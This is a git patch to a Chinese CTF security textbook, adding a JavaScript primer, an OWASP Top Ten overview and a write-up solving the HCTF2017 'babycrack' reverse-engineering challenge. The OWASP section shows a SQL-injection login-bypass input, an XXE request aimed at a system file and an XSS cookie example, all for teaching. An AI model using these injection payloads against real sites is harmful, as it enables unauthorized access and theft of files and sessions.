From 468faf85db11465b04a9bb770e39f33dae6a86f1 Mon Sep 17 00:00:00 2001 From: phantom0301 Date: Thu, 11 Jan 2018 21:30:41 +0800 Subject: [PATCH 01/13] update (#9) --- README.md | 4 + SUMMARY.md | 4 + doc/1.4.3_javascript_basic.md | 278 ++++++++++++++++++ doc/1.4.4_webserver_basic.md | 17 +- doc/1.4.5_owasp_basic.md | 152 +++++++++- doc/3.4.1_sql_injection.md | 1 + doc/3.4.2_xss.md | 1 + doc/6.3.1_web_hctf2017_babycrack.md | 264 +++++++++++++++++ pic/1.4.3_chorme_f12.png | Bin 0 -> 22106 bytes pic/1.4.3_document_write.png | Bin 0 -> 20493 bytes pic/1.4.3_nodejs.png | Bin 0 -> 2455 bytes pic/1.4.3_window_alert.png | Bin 0 -> 23176 bytes pic/1.4.5_access_control.png | Bin 0 -> 9272 bytes .../6.3.1_web_hctf2017_babycrack/=_=.js | 1 + .../6.3.1_web_hctf2017_babycrack/index.html | 49 +++ .../6.3.1_web_hctf2017_babycrack/leimu.jpg | Bin 0 -> 204451 bytes 16 files changed, 769 insertions(+), 2 deletions(-) create mode 100644 doc/3.4.1_sql_injection.md create mode 100644 doc/3.4.2_xss.md create mode 100644 doc/6.3.1_web_hctf2017_babycrack.md create mode 100644 pic/1.4.3_chorme_f12.png create mode 100644 pic/1.4.3_document_write.png create mode 100644 pic/1.4.3_nodejs.png create mode 100644 pic/1.4.3_window_alert.png create mode 100644 pic/1.4.5_access_control.png create mode 100644 src/writeup/6.3.1_web_hctf2017_babycrack/=_=.js create mode 100644 src/writeup/6.3.1_web_hctf2017_babycrack/index.html create mode 100644 src/writeup/6.3.1_web_hctf2017_babycrack/leimu.jpg diff --git a/README.md b/README.md index a51b394..1bce0da 100644 --- a/README.md +++ b/README.md @@ -71,6 +71,8 @@ - [3.3.4 返回导向编程(ROP)](doc/3.3.4_rop.md) - [3.3.5 堆利用](doc/3.3.5_heap_exploit.md) - [3.4 Web](doc/3.4_web.md) + - [3.4.1 SQL 注入利用](doc/3.4.1_sql_injection.md) + - [3.4.2 XSS 漏洞利用](doc/3.4.2_xss.md) - [3.5 Misc](doc/3.5_misc.md) - [3.6 Mobile](doc/3.6_mobile.md) @@ -119,6 +121,8 @@ - [6.2.4 re CSAWCTF2015 wyvern](doc/6.2.4_re_csawctf2015_wyvern.md) - [6.2.5 re PicoCTF2014 Baleful](doc/6.2.5_re_picoctf2014_baleful.md) - [6.2.6 re SECCON2017 printf_machine](doc/6.2.6_re_seccon2017_printf_machine.md) + - web + - [6.3.1 web HCTF2017 babycrack](doc/6.3.1_web_hctf2017_babycrack.md) - [七、实战篇](doc/7_exploit.md) - CVE 分析 diff --git a/SUMMARY.md b/SUMMARY.md index 5d8672c..b383b96 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -62,6 +62,8 @@ GitHub 地址:https://github.com/firmianay/CTF-All-In-One * [3.3.4 返回导向编程(ROP)](doc/3.3.4_rop.md) * [3.3.5 堆利用](doc/3.3.5_heap_exploit.md) * [3.4 Web](doc/3.4_web.md) + * [3.4.1 SQL 注入利用](doc/3.4.1_sql_injection.md) + * [3.4.2 XSS 漏洞利用](doc/3.4.2_xss.md) * [3.5 Misc](doc/3.5_misc.md) * [3.6 Mobile](doc/3.6_mobile.md) * [四、技巧篇](doc/4_tips.md) @@ -107,6 +109,8 @@ GitHub 地址:https://github.com/firmianay/CTF-All-In-One * [6.2.4 re CSAWCTF2015 wyvern](doc/6.2.4_re_csawctf2015_wyvern.md) * [6.2.5 re PicoCTF2014 Baleful](doc/6.2.5_re_picoctf2014_baleful.md) * [6.2.6 re SECCON2017 printf_machine](doc/6.2.6_re_seccon2017_printf_machine.md) + * web + * [6.3.1 web HCTF2017 babycrack](doc/6.3.1_web_hctf2017_babycrack.md) * [七、实战篇](doc/7_exploit.md) * [7.1.1 [CVE-2017-11543] tcpdump 4.9.0 Buffer Overflow](doc/7.1.1_tcpdump_2017-11543.md) * [八、附录](doc/8_appendix.md) diff --git a/doc/1.4.3_javascript_basic.md b/doc/1.4.3_javascript_basic.md index e61e092..bc46094 100644 --- a/doc/1.4.3_javascript_basic.md +++ b/doc/1.4.3_javascript_basic.md @@ -1 +1,279 @@ # 1.4.3 JavaScript基础 + +- [使用浏览器执行前端 JavaScript](#通过浏览器执行前端-javaccript) +- [JavaScript 数据类型](#javascript-数据类型) +- [JavaScript 编程逻辑](#javascript-编程逻辑) +- [JavaScript 打印数据](#javascript-打印数据) +- [JavaScript 框架](#javascript-框架) +- [JavaScript DOM 和 BOM](#javascript-dom-和-bom) +- [JavaScript 混淆](#javascript-混淆) +- [使用 Node.js 执行后端 JavaScript](#使用-node.js-执行后端-javascript) +- [Node.js 模块](#node.js 模块) + +## 使用浏览器执行前端 JavaScript + +大多数浏览器通过 F12 可以调出调试窗口,如图所示。在调试窗口中可以执行相关代码。JS 是一种解释性语言,由解释器对代码进行解析。 + +``` +console.log("Hello World!") +``` + +![](../pic/1.4.3_chorme_f12.png) + +在浏览器中,会集成 JS 的解析引擎,不同的浏览器拥有不同的解析引擎,这就使得 JS 的执行在不同浏览器上有不同的解释效果。 + +浏览器 | 引擎 | +--- | --- | +IE/Edge|Chakra| +Firefox|SpiderMonkey| +Safari|SFX| +Chrome|V8| +Opera|Carakan| + +嵌入在 HTML 中的 JS 代码通常有以下几种形式: + +``` +直接插入代码块 + + +加载外部 JS 文件 + + +使用 HTML 标签中的事件属性 + +``` + +## JavaScript 数据类型 + +作为弱类型的语言,JS 的变量声明不需要指定数据类型: + +``` +var pi=3.14; +var pi='ratio of the circumference of a circle to its diameter'; +``` + +当然,可以通过“ new ”来声明变量类型 + +``` +var pi=new String; +var pi=new Number; +var pi=new Boolean; +var pi=new Array; +var pi=new Object; +``` + +上一个示例也展示了 JS 的数据类型,分别是字符串、数字、布尔值、数组和对象。 + +有两个特殊的类型是 Undefined 和 Null,形象一点区分,前者表示有坑在但坑中没有值,后者表示没有坑。另外,所有 JS 变量都是对象,**但是需要注意的是,对象声明的字符串和直接赋值的字符串并不严格相等**。 + +## JavaScript 编程逻辑 + +### 基础 + +JS 语句使用分号分隔。 + +### 逻辑语句 + +if 条件语句 + +``` +if (condition) +{ + 代码块 +} +else +{ + 代码块 +} +``` + +switch 条件语句 + +``` +switch(n) +{ + case 1: + 代码块 + break; + case 2: + 代码块 + break; + default: + 代码块 +} +``` + +for/for in 循环语句 + +``` +for (代码1;代码2;代码3) +{ + 代码块 +} +``` + +``` +for (x in xs) +{ + 代码块 +} +``` + +while/do while 循环语句 + +``` +while (条件) +{ + 代码块 +} +``` + +``` +do +{ + 代码块 +} +while (条件); +``` + +## JavaScript 打印数据 + +在浏览器中调试代码时,经常用到的手段是打印变量。 + + +函数|作用 +--|-- +window.alert()|弹出警告框 +document.write()|写入HTML文档 +console.log()|写入浏览器控制台 + +![](../pic/1.4.3_window_alert.png) + + +![](../pic/1.4.3_document_write) + +## JavaScript 框架 + +JS 同样有许多功能强大的框架。大多数的前端 JS 框架使用外部引用的方式将 JS 文件引入到正在编写的文档中。 + +### jQuery + +jQuery 封装了常用的 JS 功能,通过选择器的机制来操纵 DOM 节点,完成复杂的前端效果展示。 + +### Angular + +实现了前端的 MVC 架构,通过动态数据绑定来简化数据转递流程。 + +### React + +利用组件来构建前端UI的框架 + +### Vue + +MVVM 构架的前端库,理论上讲,将它定义为数据驱动、组件化的框架,但这些概念也可能适用于其他框架,所以可能只有去真正使用到所有框架才能领悟到它们之间的区别。 + +### 其他 + +还有许许多多针对不同功能的框架,比如针对图表可视化、网络信息传递或者移动端优化等等。 + +### 双向数据绑定 + +传统基于MVC的架构的思想是数据单向的传送到 View 视图中进行显示,但是有时我们还需要将视图层的数据传输回模型层,这部分的功能就由前端 JS 来接手,因此许多近几年出现的新框架都使用数据双向绑定来完成MVVM的新构架,这就带给了用户更多的权限接触到程序的编程逻辑,进而产生一些安全问题,比较典型的就是许多框架曾经存在的模板注入问题。 + +## JavaScript DOM 和 BOM + +| | | +|---|---| +|DOM|文档对象模型,JS 通过操纵 DOM 可以动态获取、修改 HTML 中的元素、属性、CSS 样式,这种修改有时会带来 XSS 攻击风险| +|BOM|浏览器对象模型,类比于 DOM,赋予 JS 对浏览器本身进行有限的操纵,获取 Cookie、地理位置、系统硬件或浏览器插件信息等| + +## JavaScript 混淆 + +由于前端代码的可见性,出于知识产权或者其他目的,JS 代码通过混淆的方法使得自己既能被浏览器执行,又难以被人为解读。常见的混淆方法有重命名变量名和函数名、挤压代码、拼接字符、使用动态执行函数在函数与字符串之间进行替换等。下面对比代码混淆前后的差异。 + +``` +混淆前 +console.log('Hello World!'); + +混淆后 +console["\x6c\x6f\x67"]('\x48\x65\x6c\x6c\x6f \x57\x6f\x72\x6c\x64\x21'); + +更加复杂的混淆 +eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('1.0(\'3 2!\');',4,4,'log|console|World|Hello'.split('|'),0,{})) +``` + +由于之前提到的特性,无论混淆有多么复杂,最终它都能够在浏览器中被解释执行。 + +## 使用 Node.js 执行后端 JavaScript + +在 [安装完成](https://nodejs.org/en/download/) Node.js 后,我们可以尝试编写第一个后端 JS 程序。 + +1.打开文本编辑器,写入 + +``` +console.log("Hello World"); +``` + +并保存为 hello.js + +2.使用 + +``` +node hello.js +``` + +来执行文件 + +![](../pic/1.4.3_nodejs) + +## Node.js 模块 + +Node.js 同样通过丰富的模块提供强大的功能,模块使用 npm 进行管理。 + +events,事件模块,提供事件触发和事件监听功能 + +util,核心功能模块,用于弥补核心 JS 功能的不足 + +fs,文件操作模块,提供文件操作 API + +http,Web协议模块,提供 Web 协议交互功能 + +express,Web框架,用于快速构建 Web 应用服务 + +vm,沙箱模块,提供干净的上下文环境 + +后端 JS 就会存在其他语言后端所同样存在安全问题,包括基础的 Web 攻击、服务端模板注入、沙箱逃逸、内存溢出等问题。 + +## 参考资料 + +[JavaScript 教程](http://www.runoob.com/js/js-tutorial.html) + +[Node.js 教程](http://www.runoob.com/nodejs/nodejs-tutorial.html) + +[浅谈 Node.js 安全](https://zhuanlan.zhihu.com/p/28105239) + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/doc/1.4.4_webserver_basic.md b/doc/1.4.4_webserver_basic.md index 95a058c..5abb7bc 100644 --- a/doc/1.4.4_webserver_basic.md +++ b/doc/1.4.4_webserver_basic.md @@ -1 +1,16 @@ -# 常见Web服务器基础 +# 常见 Web 服务器基础 + +- [Apache HTTP Server](#apache-http-server) +- [Nginx](#nginx) +- [IIS](#iis) + +由于涉及到 Web 服务器和应用服务器的差别问题,这里着重介绍三款使用广泛的 Web 服务器。 + +当客户端按照 HTTP 协议发送了请求,服务端也写好了处理请求的逻辑代码,这时就需要一个中间人来接收请求,解析请求,并将请求放入后端代码中执行,最终将执行结果返回的页面传递给客户端。另外,我们还要保证整个服务能同时被大规模的人群使用,Web 服务器就充当了这样的角色。 + +## Apache HTTP Server + +## Nginx + +## IIS + diff --git a/doc/1.4.5_owasp_basic.md b/doc/1.4.5_owasp_basic.md index fdadd4e..deb73c2 100644 --- a/doc/1.4.5_owasp_basic.md +++ b/doc/1.4.5_owasp_basic.md @@ -1 +1,151 @@ -# 1.4.5 OWASP Top Ten Project漏洞基础 +# 1.4.5 OWASP Top Ten Project 漏洞基础 + +- [OWASP Project](#owasp-project) +- [注入](#注入) +- [失效的身份认证](#失效的身份认证) +- [敏感信息泄露](#敏感信息泄露) +- [XML 外部实体](#xml-外部实体) +- [失效的访问控制](#失效的访问控制) +- [安全配置错误](#安全配置的错误) +- [跨站脚本](#跨站脚本) +- [不安全的反序列化](#不安全的反序列化) +- [使用含有已知漏洞的组件](#使用含有已知漏洞的组件) +- [不足的日志记录和监控](#不足的日志记录和监控) + +## OWASP Project + +OWASP 是一个开放的 Web 安全社区,影响着 Web 安全的方方面面,OWASP 每隔一段时间就会整理更新一次 “Top 10” 的 Web 漏洞排名,对当前实际环境常见的漏洞进行罗列,虽然漏洞排名经常引起业界的争议,但是在开源环境下,该计划公布的漏洞也能够客观反映实际场景中的某些问题,因此,我们选择 OWASP Top Ten 来作为 Web 方向的漏洞入门介绍材料。 + +## 注入 + +用一个不严谨的说法来形容注入攻击,就是,本应该处理用户输入字符的代码,将用户输入当作了代码来执行,常见于解释型语言。主要有以下几种形式: + +|类别|说明| +|----|----| +|SQL 注入|最常见的注入形式,通过恶意拼接数据库语句,来实现非预期的功能| +|系统命令注入|通过拼接来执行非预期的操作系统指令| +|表达式语言注入|Java 中常见的命令注入执行方式| +|服务端模板注入|使用模板引擎的语言常见的注入形式| + +一个简单的例子如下所示,这是一段身份认证常见的代码 + +``` +SELECT * FROM users WHERE username = 'admin' and password = '123456' +``` + +这个查询接收用户输入的账号和密码,放入数据库中进行查询,如果查询有结果则允许用户登录。在这种情况下,攻击者可以注入用户名或密码字段,来修改整个 SQL 语句的逻辑,用户可以提交这样的用户名: + +``` +admin' -- - +``` + +这时,应用程序将执行以下查询: + +``` +SELECT * FROM users WHERE username = 'admin' -- -' and password = '123456' +``` + +这里使用了 SQL 语句中的注释符(--),将密码部分查询注释掉,因此上面语句等同于: + +``` +SELECT * FROM users WHERE username = 'admin' +``` + +此时,仅仅通过用户名而不需要密码,我们便可成功登陆一个账号。 + + +## 失效的身份认证 + +身份认证对于 Web 应用程序尤为重要,它是鉴别用户权限并授权的重要依据。但是,由于设计缺陷,许多登陆窗口缺乏验证码机制,导致攻击者可以低成本的对用户口令进行爆破攻击。另一方面,大量存在的弱口令或默认口令使得攻击者可以轻易的猜测出用户的常用口令,窃取用户权限。 + +当用户身份得到确定后,通常会使用会话来保持一定时间的权限,避免用户短时间内需要多次重复认证。但是,如果会话 ID 处理不当,有可能导致攻击者获取会话 ID 进行登录。 + +## 敏感数据泄露 + +一种场景是由于没有进行科学的加密方法,导致敏感数据以明文形式泄露。另一种场景是由于人为的管理不当,导致个人信息、登录凭证泄漏到公网中,常见的敏感数据泄露包括网站备份文件泄露、代码仓库泄露、硬编码凭证于代码中导致的泄露。 + +比如,在 Github 中搜索口令或者 API 关键字,可以发现大量私人的凭证直接写在代码中被上传到 Github 仓库中。 + +## XML 外部实体 + +从某种意义上说,XXE 也是一种注入攻击。通过利用 XML 处理器对外部实体的处理机制,将用户的外部实体输入代替已定义的实体引用,执行恶意代码。 + +一个典型的 XXE 攻击如下所示: + +``` +POST /AjaxSearch.ashx HTTP/1.1 +Host: test.com +Content-Type: text/xml; + + ]> +&xxe +``` + +我们创建了一个外部引用文档类型定义去访问一个敏感的系统文件,而这个外部引用会在应用程序中替代已经命名的实体去执行,最终获取到敏感文件,如果这个时候的执行结果会返回给用户,那么用户就可以看到敏感文件中的内容。 + +## 失效的访问控制 + +如果采用安全的代码框架编写模式,很有可能会造成访问控制失效问题,比如某一个需要用户登录才能访问的主页面,其中的某些功能实现的页面并没有添加权限认证过程,导致虽然攻击者无法访问主页面,但却能够访问到功能页面执行功能函数。 + +另一种常见的漏洞就是用户权限跨越,典型的方式是通过明文的 ID 数字来赋予用户权限,攻击者可以修改 ID 号来获取任意用户权限。 + +![](../pic/1.4.5_access_control) + +## 安全配置错误 + +由于配置疏忽,导致一些额外的信息、账户、文件可以被攻击者获取所导致的漏洞。常见的就是由于配置不当导致的目录遍历。 + +使用如下语句在 Google 中可以搜索到可目录遍历的网站,当然,许多网站也使用这种目录遍历的方式提供用户下载服务。 + +``` +intitle:index of +``` + +## 跨站脚本 + +跨站脚本攻击(XSS)通过插入恶意脚本代码来窃取用户信息,获取用户权限以及配合其他漏洞发动更加复杂的攻击,一个最基本的 XSS 攻击如下所示,恶意脚本在 script 标签内,这一段脚本将会弹出你在当前页面上的 cookie 信息。 + +``` + +``` + +XSS 漏洞根据表现形式的不同,主要有以下三种类型。 + +### 反射型 XSS + +有时,开发者会将一些用户可控的输入返回到网页中,如果返回的位置能够插入脚本语言或者触发事件,就存在反射型 XSS,通常攻击者发动这类攻击时需要受害者进行交互,因此这种攻击存在一定的局限性。 + +### 存储型 XSS + +存储型 XSS 是指当页面从持久化存储中读取内容并显示时,如果攻击者能够将 XSS 攻击代码写入持久化存储中,那么当任意用户访问漏洞页面时,都将触发恶意代码,因此,这种攻击具有更加严重的风险。 + +### DOM 型 XSS + +DOM 型 XSS 是由于攻击者可控的内容被加入到了正常的 JS 的框架或者 API 中导致的漏洞。 + +## 不安全的反序列化 + +序列化是一种数据对象传递手段,在传递数据值的同时保留了数据的结构属性。但是,如果在数据传递过程中处理不当,导致用户可控序列数据,在数据反序列化过程中就有可能造成命令执行或者越权行为。由于包括 Java、Python、PHP 等在内的语言都包含序列化和反序列化功能,根据不同的语言特性,利用方法有细微差距。 + +## 使用含有已知漏洞的组件 + +供应链安全是比较热门的话题,由于许多开源库被广泛用于各大社区、商业软件中,同时有部分的开源库并未得到有效维护,由此带来的供应链安全导致许多用户范围很广的软件存在着隐患。 + +当 0 day 漏洞公布后,一些场景无法及时的打补丁,也会使自身容易被攻击者利用。 + +## 不足的日志记录和监控 + +对系统、服务日志的有效监控会增加攻击者的入侵成本,因此,及时有效的日志记录、日志审计也应该是安全建设的重要环节。 + +需要强调的是,有时不足的日志记录方式还会产生严重的漏洞利用点,有可能被攻击者用来传递 Webshell。 + +## 参考资料 + +[2017-owasp-top-10](http://www.owasp.org.cn/owasp-project/2017-owasp-top-10) + +《黑客攻防技术宝典 - Web 实战篇》 + + + + + diff --git a/doc/3.4.1_sql_injection.md b/doc/3.4.1_sql_injection.md new file mode 100644 index 0000000..bf4b8a4 --- /dev/null +++ b/doc/3.4.1_sql_injection.md @@ -0,0 +1 @@ +# 3.4.1 SQL 注入利用 \ No newline at end of file diff --git a/doc/3.4.2_xss.md b/doc/3.4.2_xss.md new file mode 100644 index 0000000..bcf7ff1 --- /dev/null +++ b/doc/3.4.2_xss.md @@ -0,0 +1 @@ +# 3.4.1 XSS 漏洞利用 \ No newline at end of file diff --git a/doc/6.3.1_web_hctf2017_babycrack.md b/doc/6.3.1_web_hctf2017_babycrack.md new file mode 100644 index 0000000..1152418 --- /dev/null +++ b/doc/6.3.1_web_hctf2017_babycrack.md @@ -0,0 +1,264 @@ +# 6.3.1 web HCTF2017 babycrack + +- [题目解析](#题目解析) +- [解题流程](#解题流程) + + +## 题目解析 + +题目就不用多说了,很容易发现是 JavaScript 代码审计。 + +整个文件的变量名/函数名可以看作是混淆了的,分析一下整个文件的结构 + +``` + —— + |- _0x180a,关键字的替换数组 + |- 匿名函数,对数组元素进行重排 + |- _0xa180,取出对应索引的数组元素 + |- check,主要的分析函数 + |- test,主要的运行函数 +``` + +这道题结合浏览器进行动态调试,可以节省很多脑力。 + +首先是重排,这里不需要去深究到底逻辑原理,让引擎代替你去把数组重排好即可。结合程序员计算器和 CyberChef 分析更加方便。 + +## 解题流程 + +这样我们可以直接进入 check 函数进行分析。 + + + +``` + —— + |- _0x2e2f8d,又一次进行数组混淆,得到一个新数组 + |- _0x50559f,获取 flag 的前四位,即 ‘hctf’ + |- _0x5cea12,由 ‘hctf’ 生成一个基数 + |- 这里有一个 debug 的事件,个人认为是阻止使用 F12 调试用的,所以可以直接删去 + |- 匿名函数,对 _0x2e2f8d 这个数组再进行排列 + |- _0x43c8d1,根据输入获取数组中相应值的函数 + |- _0x1c3854,将输入的 ascii 码转化为 16 进制,再加上 ‘0x’ +``` + +以上部分可以看成是准备部分,这一部分的难点在于多次处理了数组,在动态调试时,很多函数如果多次执行就会产生与原答案不同的数组结构,因此,每次执行都需要重新初始化。 + +``` + —— + |- _0x76e1e8,以下划线分割输入,从后面分析可以得知 flag 一共有 5 段 + |- _0x34f55b,这一段给出了第一个逆向的条件,结合下一句 if 条件。 +``` + +单独来分析,其实最初我看掉了一个括号,结果弄混了符号优先级,导致觉得这个条件没有意义。 + +这个条件是说,**第一段的最后两个字符的 16 进制和 ‘{’ 的 16 进制异或后,对第一段的长度求余应该等于 5 **。 + +这里可以先进行如下猜测 + +第一段,已经有 ‘hctf{’ 了,这里正好去最后两位,先猜测第一段一共只有 7 位,这个猜测是后验的,先不细说。 + +``` + —— + |- b2c +``` + +理解这个函数极为重要,通过随机输入进行测试,输出结果有些眼熟,像是 base64 但不对,比对后确定是 base32 编码,知道这个就不用再去多解读它了。同时,这里也有一个 debug 需要删除 + +``` + —— + |- e,第二个逆向条件 +``` + + +这一句是说,**第三段做 base32 编码,取等号前的部分,再进行 16 进制和 0x53a3f32 异或等于 0x4b7c0a73 ** + +``` + 计算 0x4b7c0a73^0x53a3f32=0x‭4E463541‬ + ‭4E463541 => NF5A 16 进制转字符 + NF5A => iz base32 解码 +``` + +因此,flag 暂时如下 hctf{x\_x\_iz\_x\_x} + +``` + —— + |- f,第三个逆向条件 +``` + +这一句是说,第四段和第三段一样编码后,和 0x4b7c0a73 异或等于 0x4315332 + +``` + 计算 0x4315332^0x4b7c0a73=0x‭4F4D5941 + 4F4D5941 => OMYA + OMYA => s0 +``` + +flag hctf{x\_x\_iz\_s0\_x} + +``` + —— + |- n,f*e*第一段的长度(先不管) + |- h,将输入字符串的每一个字符 ascii 码进行计算(*第二段长度) + 后连接起来显示(字符到 ascii 码转换) + |- j,将第二段以 ‘3’ 分割,又后面可以确定是分成了两部分 + |- 第四个逆向条件 +``` + +首先是,**分割的两部份长度相等,第一部分和第二部分 16 进制异或等于 0x1613 **,这个条件只能后验,也先不管。 + +``` + —— + |- k,输入的 ascii 码*第二段的长度 + |- l,第一部分逐字符 ascii 码*第二段长度等于 0x2f9b5072 +``` + +首先,0x2f9b5072 == 798707826‬ + +``` + 798 707 826 + 正好分成三个,已知h是对应 ascii 码*常数, + 所以假设第一部分有三个字符,那么就是变成了求解常数 + 也就是 798 707 826 的最大公约数 + 求解得常数为 7 + 字符 114 101 118 => rev +``` + +所以,第二段一共有 7 个字符,前四个字符为 rev3,带入上面的后验条件 0x1613 + +``` + 0x726576^0x1613=0x‭727365 + 727365 => rse +``` + +flag hctf{?\_rev3rse\_iz\_s0\_?} + +``` + —— + |- m,第五个逆向条件,第五段的前四位和第一段的长度有关 +``` + +题目的 hint 提示,每一段都有意义,因此我们这里做个爆破,假设第一段的长度在 6-30 之间,我们可以算出 n,在用 n 去算第五段前四位。 + +``` + n = f*e*(6-30) + 第五段前四位 = n % 0x2f9b5072 + 0x48a05362 +``` + +代码: + +``` + import binascii + for i in range(6,31): + n = 0x4315332*0x4b7c0a73*i + strings = n%0x2f9b5072 + 0x48a05362 + print binascii.a2b_hex(str(hex(strings))[2:-1]) +``` + +结果: + +``` + qK┒ + h4r + _; + Vn + L钔V + sr姘 + j[瘶 + aDx€ + X-Ah + O + P + u? + l傡 + ck祕 + ZT~b + Q=GJ + w羆 + n? + e掤t + \{籠 + Sd凞 + JMM, + p裦 + g?n + ^ⅧV + U嬃> +``` + +可以看到大多数字符都没有意义,除了 h4r 让人遐想联翩,可惜还是不全,但是结合已经分析出的 flag,猜测应该是 h4rd。 + + +flag hctf{??\_rev3rse\_iz\_s0\_h4rd?} + +``` + —— + |- _0x5a6d56,将输入重复指定次数组合 + |- 第六个逆向条件和第七个逆向条件 +``` + +1. 第五段的第六位重复两次不等于倒数第 5-8 位,这个条件也让人摸不着头脑。 +2. 第五段倒数第 2 位等于第五段第五位加 1 +3. 第五段第 7-8 位去掉 0x 等于第五段第 7 位的 ascii 码\*第五段长度\*5 +4. 第五段第五位为 2,第五段 7-8 位等于第五段第 8 位重复两次 +5. 结合 hint + +由以上条件可以推出以下 flag + +``` + hctf{??_rev3ser_iz_s0_h4rd2?3??3333} +``` + +先假设 2 和 3 之间没有数字了,这时 7-8 位还未知但是 7-8 位相同,这时的方程 + +``` + 而且在这里,由于直接把 0x 去掉,所以 x 的 16 进制一定全为数字 + 字符拼接 {hex(x)hex(x)} = ascii(x)*13*5 +``` + +爆破代码: + +``` + import binascii + + for i in range(1,128): + string1 = hex(i)[2:] + try: + if int(string1+string1) == i*13*5: + print chr(i) + except: + continue + + output: e +``` + +验证前面的后验条件可以确定如下 flag + +``` + hctf{??_rev3ser_iz_s0_h4rd23ee3333} +``` + +只剩下最前面的两位,为了方便,利用题目提供的 sha256 结果,我就不回溯条件在判断,直接进行碰撞。 + +``` + import hashlib + + a = 'hctf{' + b = '_rev3rse_iz_s0_h4rd23ee3333}' + + e1 = ['0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f','g','h','i','j','k', + 'l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'] + e2 = ['0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f','g','h','i','j','k', + 'l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'] + + for i in e1: + for j in e2: + sh = hashlib.sha256() + sh.update(a+i+j+b) + if sh.hexdigest() == "d3f154b641251e319855a73b010309a168a12927f3873c97d2e5163ea5cbb443": + print a+i+j+b +``` + +output: + +``` + hctf{j5_rev3rse_iz_s0_h4rd23ee3333} +``` \ No newline at end of file diff --git a/pic/1.4.3_chorme_f12.png b/pic/1.4.3_chorme_f12.png new file mode 100644 index 0000000000000000000000000000000000000000..e106d194e49d74cf58711ace5b891cad2e84d2ff GIT binary patch literal 22106 zcmeEuXH=72)MY?p2`Ux>FCfK23j&H1rGwIY4Fm!x(t>~rp*K-PKtQDlNbiJzlu$ww z6?p~eB-9X!5LyVmmwDp%&HR{Ivu4(;`T702St(Ds_nve1*?T{UFwj#!58;4-K%n!Q z8V`*?pc6_U5X0!1Q@}e@$h}1nh!>>!P}#)i^AhRwXA{Ei@v38zy@j89q-XgxUGSy) zP>vs=A~3CYe5WK&ao*Wgy`uY0>#=*`560_-nOSd#vKd*Ga^JED_4&JZd|N)+_CFwZ z-qxwBl&uWg_ieVmu^jK;?Mg|fRHY``dmVy4t!01c}eLQ)J;UX}EeB}i( z0^`MhPAUNdi18KZ3@|9!UIfvTK&dN0Z4fj&&Z-tfhH`Fd#^1SX z^m()NW~8?kujCA~DJKY&sbf5`KBj)ZG}ThG?_TyG|Ll;g@ryIBLtdSs=TyPC0Rpuy zc01lYN?*d7ccZ1Gkyz%>CtIf*W~9p;GIfofaP7Nt!F5}6pPsS>#6weTCy%@BGlB*5EUT1kXod)UY&bF?LQ7v4wpe^4XLL!>y%xm)e3U7KrTN%-CtnDXO9@<# z$*MFH-M3C>9%O>))A~uh?WWXRLDegs*q^5^ z9e_@s{<|x$OQbu@iXS7%161s-lZv1VqVz(V`LIE%H+ZndOSj)usZ2{q=X^-!b^5vs z6%cuvE1R5)7a1BWj6PonDXY@=ppobYVumFi4qF`_2c0}k-$oimVJ_jst!6c*q;7Q3=M9+HzDkd(-#peBEojICA7=Xkrta5^4|BHp#Cc*owolw)Web_ z%T`J{zUpp%x08c#aQ~Bg8NB~hPNOnqXgqYCO7Unr{9Ha3M$3|5 zX`aP-(lWVKA35NNpqG7mz&zZ$C%b9#xxeZT)4n}FY;fOjVHnPh!q0wa0h9! zmyZGw1XLorYu7AqTTHv)S#hT0=KIjWMKEWjv^|}7YJbj~j?Pe~oQ@iC+m46Xhu(34*xoA)*R3ig#g@g_v7RGBEKg}ZN9B*xJbYc?_3K`P z|4L)q`QV6z&~ExPTM!T~`QCb+Oo~~;{V)QGDZ0l#b$OyC8bu6O!sHiB5 zT+{l3ZOncbwW=u&Hm*ypw?s_4U{z9s@ue?*<(Im}#&qh{whC~d^CrvKpO^VQbdfOWBp@pY#N!*~Wr&oowU^^-91>hb z@3DPkKX~2uDNDqA{OSETMeSc}SN@_-qsP(Rj>j5{Z&)o7o#ixBqadBE#{71n9zAzS2F<$FEEbTzZK6 zG|iDZGm}43K+)l2#csm=$150GFU3OMjGk67fGraJqAYKtTe_L^?h+p?inv`gF|%|u z(rk%EI7Etschvd zmH=`Ev8*fJIeMS}U{sUo#R;|pr_aeTzM7{Lxv_9#$D|(*uTB=e0FbuEoz9!AQK-o% z&Vwgaa$`U|&K-$d$a^raxukwKlIOt0#nIVsT)(Bcb+XU!efq<~`q>=2iYT15{J-$B zwSnw9-8TGN(zs`-eY$6{Y2ECp?Xn|1pTk&%iO??})tKn{Btp{iAesS1x;=D-w-8jj zc~pPp2?5d;3LXI%kzw-gHEymPpL~xGSl0DikY1lXRVjXkT5HhXrM;Wt%?%Swpq6eAM2iOTE`__PFYb3Gtd>V@*Z-+SX~6E`WF_B z4^sBho65+$c^iVy);3A4%r~Vbm6a!qC+CuG<&3ImyYJP{F-wa0*kmmF?==NcES3G% z66I$WF@9>XtNbJ>5mWZkjeTO z1flq_x>+`9KwcbSTe7|Bo5n`|Qo=1CC}OE>Ug3D{UHIR`{F+=Y&lISaXpl}Fx>6^p zgO#W!Zz@v1;A`r>*@xPBHmEpXCrx{u_Z`j?=pEr1 z+hMsToz!H$QNn}k+sQM_cvNG8?p|BfX6SpBWS>yvcq~}EDZ8vr(ZL3vf6-E919@Fc z_GqT@YIL84Y5r~K@@{?z&G>0CAbRF;E^2LsPX`3TaVwG#NL*_kuSUn}=;hoERj%A7_o$gN?kV?H z!iYtf-Kl*Y`*UFB_m(l;iM&Zop`L0VH5T>1b2v+7!p+JZZ<$;i*nb__YN>I@`CUu~ zk%#Tzz{TLh2{*&->Wu}-fIx3}B==X2vwtgP#Fp-1wEr0ts7l}^!(6eZn4Ypk{Gj}= zGN*2rUzVGAn*Ecjhc9|9gD#kxV>6N{##NsD;`dulBtaE-R>%6}`@tr8_OacGiS3PL 